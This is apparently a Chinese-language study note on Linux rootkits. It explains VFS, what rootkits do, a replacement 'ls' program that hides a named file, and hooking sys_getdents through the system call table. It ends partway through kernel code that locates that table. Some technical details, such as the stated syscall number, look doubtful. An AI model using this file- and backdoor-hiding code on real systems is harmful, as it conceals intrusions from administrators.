文章目录
简介
Rootkit是一套工具,用于长期获取root权限以及隐藏自己和后门程序。攻击者通过漏洞临时获得root权限后,一般会安装后门和rootkit,以便长期获取权限、收集信息。
linux虚拟文件系统VFS
虚拟文件系统(Virtual File System, 简称 VFS), 是 Linux 内核中的一个软件层。文件,目录、字符设备、块设备、 套接字等在 Unix/Linux 中都是以文件被对待,用户通过libc与kernel的VFS交互。
向上,VFS给用户空间的程序提供彼岸准的文件操作接口;
向下,VFS给不同文件系统提供标准的接口。系统中不同的文件系统依赖 VFS 提供的接口共存、 协同工作。
Rootkit的功能
- 获取权限(链接)
- 防止受保护的文件被拷贝
- 隐藏后门程序
- 隐藏后门进程
- 清理日志
实现原理
核心思想:替换核心组件 。
基本方法:替换相应的程序,如把cp、ls、ps、log等替换为自己编写的程序,产生隐藏的效果。
缺点:有经验的管理员可以通过对原始ls.c签名,或自己写纯净版ls.c,与嫌疑ls.c的效果进行比对。
高级方法:替换相应程序的系统调用,甚至更底层的函数调用。
下面以隐藏文件为例,介绍如何实现rootkit。
应用:隐藏文件
基本方法
hook ls :修改ls命令的显示内容
ls调用opendir()和readdir(),头文件dirent.h
把ls.c替换为myls.c.ls,调用readdir()过程中,当发现backdoor name时,不输出。
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
int main(int argc, char *argv[])
{
DIR *dp;
struct dirent *dirp;
if (argc != 2)
{
printf("usage: ls directory_name\n");
exit(1);
}
if ((dp = opendir(argv[1])) == NULL)
{
printf("can't open %s\n", argv[1]);
exit(1);
}
while ((dirp = readdir(dp)) != NULL)
{
if(strcmp(dirp->d_name,"test.txt")!=0)
printf("%s\n", dirp->d_name);
}
closedir(dp);
return 0;
}
上述攻击如何避免?
对原始ls.c签名,或自己写纯净版ls.c,与嫌疑ls.c的效果进行比对。
高级方法
HOOK系统调用sys_getdents
道高一尺魔高一丈,readdir()会调用sys_getdents,攻击者可以hook readdir(),或底层的sys_getdents,乃至更底层的ext_readdir中的fillter。
目录的数据结构,getdents的返回就是由若干个这种结构组成的缓冲区
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
系统调用流程
系统调用的头文件 <unistd.h>,以ls->readdir->sys_getdents的系统调用为例
- int $0x80指令(系统调用,软中断,128号中断),从用户态切换到内核态
64位OS产生系统调用不需要中断,它直接用sysenter进行syscall,并把SCT地址存到MSR - 查中断向量表IDT,找到128号指向的系统调用处理程序system_call()
- 系统调用处理函数 调用 系统调用服务例程,call call_number。根据sys_getdents的系统调用号1065,查系统调用表SCT得到sys_getdents
hook sys_getdents
- 找到IDT的地址,idt_base
- 根据idt_base和偏移(0x80 * 8) 找到syscall处理函数的地址
- 根据call命令的反汇编编码找到SCT表的地址(该地址会在加载内核后形成,不是固定的)
- hook,重定向调用函数
64位OS中查找SCT地址的代码
void * get_lstar_sct_addr(void)
{
u64 lstar;
u64 index;
//get the sys_call handler address
rdmsrl(MSR_LSTAR, lstar);
//search for \xff\x14\xc5,
for (index = 0; index <= PAGE_SIZE; index += 1) {
u8 *arr = (u8 *)lstar